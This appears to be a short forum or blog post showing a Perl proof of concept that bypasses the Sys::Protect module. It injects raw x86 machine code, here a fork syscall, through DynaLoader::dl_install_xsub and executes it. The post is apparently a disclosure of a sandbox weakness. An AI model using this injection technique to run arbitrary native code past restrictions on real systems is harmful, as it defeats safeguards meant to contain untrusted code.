hey, user can inject any machine code under Sys::Protect!
use strict;
use warnings;
use Sys::Protect;
use DynaLoader;
my $s = join(
'',
"\x31\xc0", # xor %eax,%eax
"\xb0\x02", # mov $0x2,%al
"\xcd\x80", # int $0x80
"\xc3", # ret
);
DynaLoader::dl_install_xsub( 'myfork', unpack( "L", pack( "P*", $s ) ) );
&myfork;
print "\nforked?\n";
Read More